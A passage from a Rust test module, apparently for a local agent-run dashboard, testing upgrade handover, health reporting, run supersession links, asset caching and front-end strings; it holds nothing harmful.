23299 let waiter = tokio::spawn({
23300 let signal = std::sync::Arc::clone(&signal);
23301 async move { wait_for_handover(&signal).await }
23302 });
23303 tokio::time::sleep(Duration::from_millis(20)).await;
23304 assert!(!waiter.is_finished(), "nothing was signalled yet");
23305 signal.notify_one();
23306 tokio::time::timeout(Duration::from_secs(5), waiter)
23307 .await
23308 .expect("a late signal wakes the waiter")
23309 .expect("join");
23310 }
23311
23312 #[tokio::test]
23313 async fn health_says_how_long_a_handover_has_been_stuck() {
23314 let fx = Fixture::start().await;
23315 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23316 progress.advance(crate::updater::Stage::Replaced);
23317 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23318 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23319
23320 let health = fx.get("/api/health").await.json();
23321 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23322 assert!(stuck >= 600, "{stuck}");
23323 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23324 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23325 }
23326
23327 #[tokio::test]
23328 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23329 let home = tempfile::tempdir().expect("temp home");
23330 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23331 progress.advance(crate::updater::Stage::Parking);
23332 crate::updater::write_progress(home.path(), &progress).expect("seed");
23333 let mut again = progress.clone();
23335 again.advance(crate::updater::Stage::Replaced);
23336 crate::updater::write_progress(home.path(), &again).expect("replaced");
23337 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23338 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23339 let after = crate::updater::read_progress(home.path()).expect("record");
23340 assert_eq!(after.stage, crate::updater::Stage::Parking);
23341 }
23342
23343 #[tokio::test]
23344 async fn health_does_not_call_a_live_parking_wait_stuck() {
23345 let fx = Fixture::start().await;
23346 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23347 progress.parked_run = Some("20260905-000000-cd51".to_owned());
23348 progress.advance(crate::updater::Stage::Parking);
23349 let hours = Duration::from_secs(3 * 3600);
23350 progress.started_at = Timestamp::now() - hours;
23351 progress.updated_at = Timestamp::now() - hours;
23352 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23353 let _lease = crate::updater::LeaseGuard::enter(
23354 fx.home.path(),
23355 Some("20260905-000000-cd51".to_owned()),
23356 );
23357
23358 let health = fx.get("/api/health").await.json();
23359 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23360 assert!(health["upgrade"]["stuck_kind"].is_null());
23361 assert_eq!(health["upgrade"]["handover_alive"], true);
23362 let waiting_on = health["upgrade"]["waiting_on"]
23363 .as_str()
23364 .expect("waiting_on");
23365 assert!(waiting_on.contains("cd51"), "{waiting_on}");
23366 }
23367
23368 fn idle_ui(home: &TempDir) -> Ui {
23369 let runs = home.path().join("runs");
23370 std::fs::create_dir_all(&runs).expect("runs dir");
23371 Ui::new(
23372 Queue::at(home.path().join("queue")),
23373 Questions::at(home.path().join("questions")),
23374 Talks::at(home.path().join("talks")),
23375 runs,
23376 home.path().to_path_buf(),
23377 PathBuf::from("/repo/magi"),
23378 )
23379 .with_launch(launch_idle)
23380 }
23381
23382 #[tokio::test]
23383 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23384 let home = TempDir::new().expect("temp home");
23385 let ui = idle_ui(&home);
23386 let lease = crate::worker::try_lease(home.path(), "scheduler")
23387 .expect("scheduler lease")
23388 .expect("free");
23389 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23390 .expect("request stop");
23391 let error = ui
23392 .start_detached_loop()
23393 .await
23394 .expect_err("transition is still live");
23395 assert_eq!(error.status, StatusCode::CONFLICT);
23396 assert!(error.message.contains("still running or stopping"));
23397 assert_eq!(
23398 crate::worker::control(home.path(), "scheduler").unwrap(),
23399 Some(crate::worker::Control::Stop)
23400 );
23401 drop(lease);
23402 }
23403
23404 #[tokio::test]
23405 async fn handover_releases_listener_without_waiting_for_execution_leases() {
23406 let home = TempDir::new().expect("temp home");
23407 let ui = idle_ui(&home);
23408 let turns = ui
23409 .begin_talk_turn("active-chat")
23410 .expect("claim")
23411 .expect("free");
23412 let execution = crate::worker::try_lease(home.path(), "active-task")
23413 .expect("execution lease")
23414 .expect("free");
23415 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23416 .await
23417 .expect("bind loopback");
23418 let address = listener.local_addr().expect("address");
23419 let admissions = Arc::clone(&ui.admissions);
23420 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23421 let successor_started = std::sync::atomic::AtomicBool::new(false);
23422 tokio::time::timeout(
23423 Duration::from_secs(2),
23424 hand_over(home.path(), &admissions, served, || {
23425 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23426 Ok(1)
23427 }),
23428 )
23429 .await
23430 .expect("restart must not wait for execution")
23431 .expect("handover");
23432 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23433 let successor = bind_waiting(address)
23436 .await
23437 .expect("successor binds released address");
23438 assert_eq!(successor.local_addr().unwrap(), address);
23439 assert!(turns.owns(), "the chat lease survives restart");
23440 assert!(
23441 crate::worker::try_lease(home.path(), "active-task")
23442 .unwrap()
23443 .is_none()
23444 );
23445 drop(execution);
23446 drop(turns);
23447 }
23448
23449 #[tokio::test]
23450 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23451 let home = TempDir::new().expect("temp home");
23452 let ui = idle_ui(&home);
23453 let admission = ui.begin_admission().expect("admit send");
23454 let turn = ui
23455 .begin_talk_turn("active-chat")
23456 .expect("claim")
23457 .expect("free");
23458 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23459 .await
23460 .expect("bind loopback");
23461 let address = listener.local_addr().expect("address");
23462 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23463 let successor_called = std::sync::atomic::AtomicBool::new(false);
23464 let handover = hand_over(home.path(), &ui.admissions, served, || {
23465 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23466 Ok(1)
23467 });
23468 tokio::pin!(handover);
23469 std::future::poll_fn(|cx| {
23472 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23473 std::task::Poll::Ready(())
23474 })
23475 .await;
23476 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23477 assert!(
23478 ui.begin_admission().is_err(),
23479 "new ingress cannot race the drain"
23480 );
23481 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
23482 drop(admission);
23483 tokio::time::timeout(Duration::from_secs(2), handover)
23484 .await
23485 .expect("only publication may delay restart")
23486 .expect("handover");
23487 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
23488 assert!(
23489 turn.owns(),
23490 "the detached chat turn is not awaited or cancelled"
23491 );
23492 assert!(
23493 ui.begin_admission().is_err(),
23494 "old accepted connections stay closed"
23495 );
23496 drop(turn);
23497 }
23498
23499 #[test]
23500 fn health_worker_metadata_never_contains_payload_or_result() {
23501 let view = WorkerView::from(crate::worker::Job {
23502 id: "job".into(),
23503 sequence: 1,
23504 kind: "service".into(),
23505 key: "maintenance".into(),
23506 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
23507 generation: "generation".into(),
23508 version: Some("1.2.3".into()),
23509 status: crate::worker::Status::Running,
23510 result: Some("private diagnostics".into()),
23511 pid: Some(4242),
23512 created_at: 1,
23513 finished_at: None,
23514 });
23515 let value = serde_json::to_value(view).expect("serialize public metadata");
23516 assert_eq!(value["version"], "1.2.3");
23517 assert_eq!(value["pid"], 4242);
23518 assert!(value.get("payload").is_none());
23519 assert!(value.get("result").is_none());
23520 assert!(!value.to_string().contains("private"));
23521 }
23522
23523 #[test]
23524 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
23525 let home = TempDir::new().expect("temp home");
23526 let ui = idle_ui(&home);
23527 std::fs::write(
23528 home.path().join("daemon.json"),
23529 serde_json::json!({
23530 "schema": 2, "pid": 4242, "worker_protocol": 1,
23531 "updated_at": Timestamp::now().to_string(), "idle": true,
23532 })
23533 .to_string(),
23534 )
23535 .expect("status");
23536 let reading = daemon::read_status(home.path());
23537 assert!(Foreign::of(reading.as_ref()).is_none());
23538 let view = ui.runtime_loop_view(reading, &[]);
23539 assert!(view.running);
23540 assert!(view.owned);
23541 }
23542
23543 #[test]
23544 fn only_an_explicit_one_requests_a_resume() {
23545 assert!(!resume_requested(None));
23546 assert!(!resume_requested(Some("0".into())));
23547 assert!(!resume_requested(Some("".into())));
23548 assert!(resume_requested(Some("1".into())));
23549 }
23550
23551 #[test]
23552 fn an_error_is_visible_from_where_the_button_is() {
23553 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23558 ..APP_CSS.find(".alert-text").expect(".alert-text")];
23559 assert!(
23560 alert.contains("position: fixed"),
23561 "an error about the thing under your thumb has to be visible from \
23562 where your thumb is: {alert}"
23563 );
23564 assert!(
23565 alert.contains("z-index: 25"),
23566 "above the dock (20) and the run-actions FAB (15), so neither \
23567 buries it: {alert}"
23568 );
23569 assert!(
23570 alert.contains("var(--tap)"),
23571 "and clear of the dock and the home indicator: {alert}"
23572 );
23573 assert!(
23576 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23577 "the FAB's column stays free: {alert}"
23578 );
23579 }
23580
23581 #[tokio::test]
23582 async fn an_older_attempt_says_what_replaced_it() {
23583 let fx = Fixture::start().await;
23584 let q = fx.queue();
23585 let runs = fx.runs();
23586 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23587 write_run(&runs, first, RunStatus::Stalled);
23588 write_run(&runs, second, RunStatus::Blocked);
23589
23590 let mut t = Task::new(
23591 "one task".to_owned(),
23592 "do it".to_owned(),
23593 PathBuf::from("/repo"),
23594 Source::Human,
23595 );
23596 t.runs = vec![first.to_owned(), second.to_owned()];
23597 q.put(&mut t).expect("put");
23598
23599 let rows = fx.get("/api/runs").await.json();
23603 let by = |short: &str| -> Value {
23604 rows.as_array()
23605 .unwrap()
23606 .iter()
23607 .find(|r| r["short"] == short)
23608 .cloned()
23609 .unwrap_or(Value::Null)
23610 };
23611 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23612 assert!(
23613 by("bbbb")["superseded_by"].is_null(),
23614 "the latest attempt is not superseded by anything"
23615 );
23616 assert!(APP_JS.contains("run.superseded_by"));
23618 assert!(APP_JS.contains("Superseded by"));
23619 }
23620
23621 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23622 let mut t = Task::new(
23623 "one task".to_owned(),
23624 "do it".to_owned(),
23625 PathBuf::from("/repo"),
23626 Source::Human,
23627 );
23628 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23629 t.status = status;
23630 t
23631 }
23632
23633 #[test]
23634 fn source_link_picks_the_page_that_filed_the_task() {
23635 let agent = |node: &str| Source::Agent {
23636 run: "20260904-014455-ab12".to_owned(),
23637 node: node.to_owned(),
23638 };
23639 let chat = source_link(&agent("chat")).expect("chat link");
23640 assert_eq!(chat.kind, "chat");
23641 assert_eq!(chat.id, "20260904-014455-ab12");
23642 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23643 let run = source_link(&agent("implement")).expect("run link");
23644 assert_eq!(
23645 (run.kind, run.href.as_str()),
23646 ("run", "#/runs/20260904-014455-ab12")
23647 );
23648 assert_eq!(source_link(&Source::Human), None);
23649 assert_eq!(
23650 source_link(&Source::Issue {
23651 number: 3,
23652 repo: "o/r".to_owned()
23653 }),
23654 None
23655 );
23656 let odd = source_link(&Source::Agent {
23657 run: "a b/c".to_owned(),
23658 node: "chat".to_owned(),
23659 })
23660 .expect("link");
23661 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23662 }
23663
23664 #[test]
23665 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23666 assert!(
23667 !APP_JS.contains("src.node === \"chat\""),
23668 "inline href rule is back"
23669 );
23670 assert!(
23671 APP_JS.matches("sourceLinkOf(").count() >= 4,
23672 "helper must serve every page"
23673 );
23674 assert!(
23675 APP_JS.matches("openChatLink(").count() >= 3,
23676 "the run page still needs its explicit chat link"
23677 );
23678 assert!(
23679 !APP_JS.contains("const openChat = el("),
23680 "the Queue card duplicates its source label link again"
23681 );
23682 assert!(
23683 APP_JS.contains("metaKids.push(link ? el(\"a\""),
23684 "the task page must link a chat source label too"
23685 );
23686 }
23687
23688 #[test]
23689 fn task_ref_carries_the_source_link_for_a_chat_task() {
23690 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23691 t.source = Source::Agent {
23692 run: "20260904-014455-ab12".to_owned(),
23693 node: "chat".to_owned(),
23694 };
23695 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23696 let v = serde_json::to_value(&out).expect("json");
23697 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23698 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23699 assert_eq!(v["source_label"], t.source.label());
23700
23701 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23702 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23703 .expect("json");
23704 assert!(v["source_link"].is_null(), "{v}");
23705 }
23706
23707 #[test]
23708 fn task_view_serializes_source_link() {
23709 let mut t = Task::new(
23710 "t".to_owned(),
23711 "t".to_owned(),
23712 PathBuf::from("/repo"),
23713 Source::Agent {
23714 run: "20260901-000000-aaaa".to_owned(),
23715 node: "implement".to_owned(),
23716 },
23717 );
23718 t.runs.clear();
23719 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23720 assert_eq!(v["source_link"]["kind"], "run", "{v}");
23721 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23722 }
23723
23724 #[test]
23725 fn task_view_serializes_urgent_flag() {
23726 let mut t = Task::new(
23727 "t".to_owned(),
23728 "t".to_owned(),
23729 PathBuf::from("/repo"),
23730 Source::Human,
23731 );
23732 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23733 assert_eq!(v["urgent"], false, "{v}");
23734 t.urgent = true;
23735 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23736 assert_eq!(v["urgent"], true, "{v}");
23737 assert!(APP_JS.contains("task.urgent === true"));
23738 }
23739
23740 #[tokio::test]
23741 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23742 let fx = Fixture::start().await;
23743 let runs = fx.runs();
23744 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23745 write_run(&runs, old, RunStatus::Blocked);
23746 write_run(&runs, new, RunStatus::Merged);
23747 let mut t = outcome_task(&[old, new], TaskStatus::Done);
23748 fx.queue().put(&mut t).expect("put");
23749
23750 let view = fx.get(&format!("/api/runs/{old}")).await.json();
23751 let task = &view["task"];
23752 assert_eq!(task["status"], "done");
23753 assert_eq!(task["is_latest"], false);
23754 assert_eq!(task["latest"]["short"], "bbbb");
23755 assert_eq!(task["finished_by"]["id"], new);
23756 assert_eq!(task["finished_by"]["outcome"], "merged");
23757 assert_eq!(task["closed_by_hand"], false);
23758 assert_eq!(view["status"], "blocked", "the run keeps its own status");
23759 assert!(APP_JS.contains("finished_by"));
23760 assert!(APP_JS.contains("superseded by run"));
23761 }
23762
23763 #[tokio::test]
23764 async fn the_latest_run_reports_a_held_task_without_a_successor() {
23765 let fx = Fixture::start().await;
23766 let runs = fx.runs();
23767 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23768 write_run(&runs, old, RunStatus::Stalled);
23769 write_run(&runs, new, RunStatus::Blocked);
23770 let mut t = outcome_task(&[old, new], TaskStatus::Held);
23771 fx.queue().put(&mut t).expect("put");
23772
23773 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23774 assert_eq!(task["status"], "held");
23775 assert_eq!(task["is_latest"], true);
23776 assert!(task["latest"].is_null());
23777 assert!(task["finished_by"].is_null());
23778 assert_eq!(task["closed_by_hand"], false);
23779 }
23780
23781 #[tokio::test]
23782 async fn a_direct_run_has_no_task_outcome() {
23783 let fx = Fixture::start().await;
23784 let runs = fx.runs();
23785 let id = "20260901-000000-aaaa";
23786 write_run(&runs, id, RunStatus::Blocked);
23787 let view = fx.get(&format!("/api/runs/{id}")).await.json();
23788 assert!(view["task"].is_null());
23789 }
23790
23791 #[test]
23792 fn task_outcome_does_not_guess_a_finishing_run() {
23793 let a = "20260901-000000-aaaa";
23794 let b = "20260901-000000-bbbb";
23795 let c = "20260901-000000-cccc";
23796 let dir = tempfile::tempdir().expect("tempdir");
23797 write_run(dir.path(), a, RunStatus::Blocked);
23798 write_run(dir.path(), b, RunStatus::VerifiedNoop);
23799 let read = |id: &str| read_run(dir.path(), id).ok();
23801 let t = outcome_task(&[a, b, c], TaskStatus::Done);
23804 let out = task_outcome(&t, a, 3, read);
23805 assert!(out.finished_by.is_none());
23806 assert!(out.closed_by_hand);
23807 let latest = out.latest.expect("latest");
23808 assert_eq!(latest.id, c);
23809 assert_eq!(latest.status, None);
23810 assert_eq!(latest.outcome, "record unreadable");
23811
23812 write_run(dir.path(), c, RunStatus::Ready);
23814 let t = outcome_task(&[a, c], TaskStatus::Done);
23815 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23816 assert_eq!(out.finished_by.expect("finisher").id, c);
23817 assert!(!out.closed_by_hand);
23818
23819 let t = outcome_task(&[a, b, a], TaskStatus::Held);
23821 assert!(task_outcome(&t, a, 3, read).is_latest);
23822 }
23823
23824 #[tokio::test]
23825 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23826 let fx = Fixture::start().await;
23831 let q = fx.queue();
23832 let runs = fx.runs();
23833 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23834 write_run(&runs, first, RunStatus::Blocked);
23835 write_run(&runs, second, RunStatus::Merged);
23836
23837 let mut t = Task::new(
23838 "one task".to_owned(),
23839 "do it".to_owned(),
23840 PathBuf::from("/repo"),
23841 Source::Human,
23842 );
23843 t.runs = vec![first.to_owned(), second.to_owned()];
23844 q.put(&mut t).expect("put");
23845
23846 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23847 assert_eq!(earlier["superseded_by"], "dddd");
23848 assert_eq!(earlier["latest_attempt"]["id"], second);
23849 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23850 assert_eq!(
23851 earlier["latest_attempt"]["resolved"], true,
23852 "the run that replaced it landed, so this one reads as settled"
23853 );
23854
23855 let later = fx.get(&format!("/api/runs/{second}")).await.json();
23856 assert!(
23857 later["superseded_by"].is_null(),
23858 "the latest attempt is not superseded by anything"
23859 );
23860 assert!(
23861 later["latest_attempt"].is_null(),
23862 "the latest attempt has no later attempt of its own"
23863 );
23864
23865 assert!(APP_JS.contains("run.latest_attempt"));
23872 assert!(APP_JS.contains("data-superseded"));
23873 assert!(APP_JS.contains("#/runs/${latest.id}"));
23874 }
23875
23876 #[tokio::test]
23877 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23878 let fx = Fixture::start().await;
23884 let q = fx.queue();
23885 let runs = fx.runs();
23886 let (a, b, c) = (
23887 "20260901-000000-aaaa",
23888 "20260901-000000-bbbb",
23889 "20260901-000000-cccc",
23890 );
23891 write_run(&runs, a, RunStatus::Blocked);
23892 write_run(&runs, b, RunStatus::Blocked);
23893 write_run(&runs, c, RunStatus::Merged);
23894
23895 let mut t = Task::new(
23896 "retried twice".to_owned(),
23897 "do it".to_owned(),
23898 PathBuf::from("/repo"),
23899 Source::Human,
23900 );
23901 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23902 q.put(&mut t).expect("put");
23903
23904 let view = fx.get(&format!("/api/runs/{a}")).await.json();
23905 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23906 assert_eq!(
23907 view["latest_attempt"]["id"], c,
23908 "the chain's current head, not the intermediate Blocked retry"
23909 );
23910 assert_eq!(view["latest_attempt"]["resolved"], true);
23911
23912 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23913 assert_eq!(mid["latest_attempt"]["id"], c);
23914 assert_eq!(mid["latest_attempt"]["resolved"], true);
23915 }
23916
23917 #[tokio::test]
23918 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23919 let fx = Fixture::start().await;
23920 let q = fx.queue();
23921 let runs = fx.runs();
23922
23923 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23926 write_run(&runs, still_blocked_a, RunStatus::Blocked);
23927 write_run(&runs, still_blocked_b, RunStatus::Blocked);
23928 let mut t1 = Task::new(
23929 "still stuck".to_owned(),
23930 "do it".to_owned(),
23931 PathBuf::from("/repo"),
23932 Source::Human,
23933 );
23934 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23935 q.put(&mut t1).expect("put");
23936 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23937 assert_eq!(view1["latest_attempt"]["resolved"], false);
23938 assert_eq!(view1["latest_attempt"]["status"], "blocked");
23939 assert_eq!(view1["latest_attempt"]["done"], true);
23940
23941 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23943 write_run(&runs, run_a, RunStatus::Blocked);
23944 write_run(&runs, run_b, RunStatus::Implementing);
23945 let mut t3 = Task::new(
23946 "retrying".to_owned(),
23947 "do it".to_owned(),
23948 PathBuf::from("/repo"),
23949 Source::Human,
23950 );
23951 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23952 q.put(&mut t3).expect("put");
23953 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23954 assert_eq!(view3["latest_attempt"]["id"], run_b);
23955 assert_eq!(view3["latest_attempt"]["resolved"], false);
23956 assert_eq!(view3["latest_attempt"]["done"], false);
23957
23958 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23963 write_run(&runs, noop_a, RunStatus::Blocked);
23964 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23965 let mut t2 = Task::new(
23966 "claims done".to_owned(),
23967 "do it".to_owned(),
23968 PathBuf::from("/repo"),
23969 Source::Human,
23970 );
23971 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23972 q.put(&mut t2).expect("put");
23973 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23974 assert_eq!(
23975 view2["latest_attempt"]["resolved"], false,
23976 "an unverified no-op claim must not read as a confirmed finish"
23977 );
23978
23979 assert!(APP_JS.contains("latest.resolved"));
23982 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23985 assert!(APP_JS.contains("Latest attempt: "));
23986 assert!(APP_JS.contains("in flight"));
23987 assert!(APP_JS.contains("not resolved"));
23988 }
23989
23990 #[tokio::test]
23991 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23992 let fx = Fixture::start().await;
23993 let js = fx.get("/app.js").await;
23999 assert_eq!(js.status, 200);
24000 let tag = js
24001 .header("etag")
24002 .expect("an etag to revalidate against")
24003 .to_owned();
24004 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
24005 assert_eq!(
24006 js.header("cache-control"),
24007 Some("no-cache, must-revalidate"),
24008 "the phone has to ask every time"
24009 );
24010
24011 let again = fx
24014 .get_with("/app.js", &[("if-none-match", tag.as_str())])
24015 .await;
24016 assert_eq!(
24017 again.status, 304,
24018 "a deck it already has costs one round trip"
24019 );
24020 assert!(again.body.is_empty(), "304 carries no body");
24021
24022 let weak = fx
24025 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
24026 .await;
24027 assert_eq!(weak.status, 304);
24028 let stale = fx
24029 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
24030 .await;
24031 assert_eq!(stale.status, 200, "an older build must be replaced");
24032 assert!(stale.body.contains("renderRunActions"));
24033 }
24034
24035 #[test]
24036 fn the_task_detail_has_an_actions_fab_and_sheet() {
24037 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
24038 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
24039 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
24040 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
24042 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
24043 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
24045 assert!(APP_JS.contains("renderTaskActions(null);"));
24046 let sheet = APP_JS
24048 .find("function renderTaskActions")
24049 .expect("sheet renderer");
24050 let body = &APP_JS[sheet..sheet + 3000];
24051 assert!(body.contains("changePriority("));
24052 assert!(body.contains("openTaskEdit(task)"));
24053 assert!(body.contains("renderTaskHoldBox(host"));
24054 assert!(body.contains("renderTaskDoneBox(host"));
24055 assert!(body.contains("renderTaskDeleteBox(host"));
24056 assert!(APP_JS.contains("API.priority(id)"));
24057 assert!(APP_JS.contains("API.deleteTask(id)"));
24058 assert!(APP_JS.contains("location.hash = \"#/queue\""));
24060 assert!(APP_JS.contains("$(\"task-actions-error\")"));
24062 }
24063
24064 #[test]
24065 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
24066 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
24067 let actions = INDEX_HTML
24068 .find("id=\"run-actions-box\"")
24069 .expect("actions box");
24070 assert!(task < actions, "the task entry comes first in the sheet");
24071 assert!(APP_JS.contains("renderRunTaskEntry"));
24072 assert!(APP_JS.contains("\"Open task \""));
24073 assert!(APP_JS.contains("started directly, no task"));
24075 assert!(APP_JS.contains("sheet-task-link"));
24076 assert!(APP_JS.contains("task-chip-link"));
24077 }
24078
24079 #[test]
24080 fn the_deck_never_sends_the_operator_to_a_terminal() {
24081 assert!(
24084 !APP_JS.contains("Run `magi fold` first"),
24085 "the deck must offer the fold, not prescribe a shell command"
24086 );
24087 assert!(APP_JS.contains("foldRun:"));
24088 assert!(APP_JS.contains("resumeRun:"));
24089 assert!(APP_JS.contains("renderRunActions"));
24090
24091 assert!(APP_JS.contains("armedFold"));
24093 assert!(APP_JS.contains("Yes, fold worktrees"));
24094
24095 assert!(APP_JS.contains("can no longer be resumed"));
24098 }
24099
24100 #[test]
24101 fn a_finished_run_explains_itself_with_its_own_last_line() {
24102 assert!(
24108 !APP_JS.contains("collapsed on agent quota"),
24109 "a stall must not be explained by a cause the deck did not check"
24110 );
24111 assert!(
24112 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
24113 "and a block must not offer a guess with an `or` in it"
24114 );
24115
24116 assert!(
24120 APP_JS.contains("setText(r.event, run.event || \"\")"),
24121 "the run's last line is rendered unconditionally"
24122 );
24123 assert!(
24124 !APP_JS.contains("moving && run.event"),
24125 "and never gated on the run still moving"
24126 );
24127
24128 assert!(APP_JS.contains("lost to quota"));
24130 }
24131
24132 #[test]
24154 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
24155 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
24156 let shapes_body_start =
24157 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
24158 let shapes_close = APP_JS[shapes_body_start..]
24159 .find("].map(")
24160 .expect("the shape list is closed by its done-computing .map(...)")
24161 + shapes_body_start;
24162 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
24163
24164 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
24165 for entry in shapes_src.split('{').skip(1) {
24166 let waiting = entry.contains("waiting: true");
24167 let dead = entry.contains("live: \"dead\"");
24168 let status_at =
24169 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
24170 let status_end = entry[status_at..]
24171 .find('"')
24172 .expect("the status string is closed")
24173 + status_at;
24174 let parked = entry.contains("display_status: \"parked\"");
24175 shapes.push((
24176 waiting,
24177 entry[status_at..status_end].to_string(),
24178 dead,
24179 parked,
24180 ));
24181 }
24182 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
24183
24184 let done_rule_marker = "done: !";
24188 let done_rule_at = APP_JS[shapes_close..]
24189 .find(done_rule_marker)
24190 .expect("the done rule follows the shape list")
24191 + shapes_close
24192 + done_rule_marker.len();
24193 let includes_at = APP_JS[done_rule_at..]
24194 .find(".includes(shape.status)")
24195 .expect("the done rule ends in .includes(shape.status)")
24196 + done_rule_at;
24197 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
24198 .trim()
24199 .trim_start_matches('[')
24200 .trim_end_matches(']')
24201 .split(',')
24202 .map(|s| s.trim().trim_matches('"'))
24203 .filter(|s| !s.is_empty())
24204 .collect();
24205
24206 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
24207 .into_iter()
24208 .map(|(waiting, status, dead, parked)| {
24209 let done = !not_done.contains(&status.as_str());
24210 (waiting, status, dead, parked, done)
24211 })
24212 .collect();
24213
24214 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
24218 if waiting {
24219 return "waiting";
24220 }
24221 if dead
24222 && !parked
24223 && !matches!(
24224 status,
24225 "merged"
24226 | "ready"
24227 | "stalled"
24228 | "blocked"
24229 | "failed"
24230 | "verified_noop"
24231 | "superseded"
24232 | "already_in_base"
24233 )
24234 {
24235 return "stale";
24236 }
24237 match status {
24238 "merged" | "ready" => "landed",
24239 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
24240 | "already_in_base" => "ended",
24241 _ => "flight",
24242 }
24243 }
24244
24245 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
24248 match filter_key {
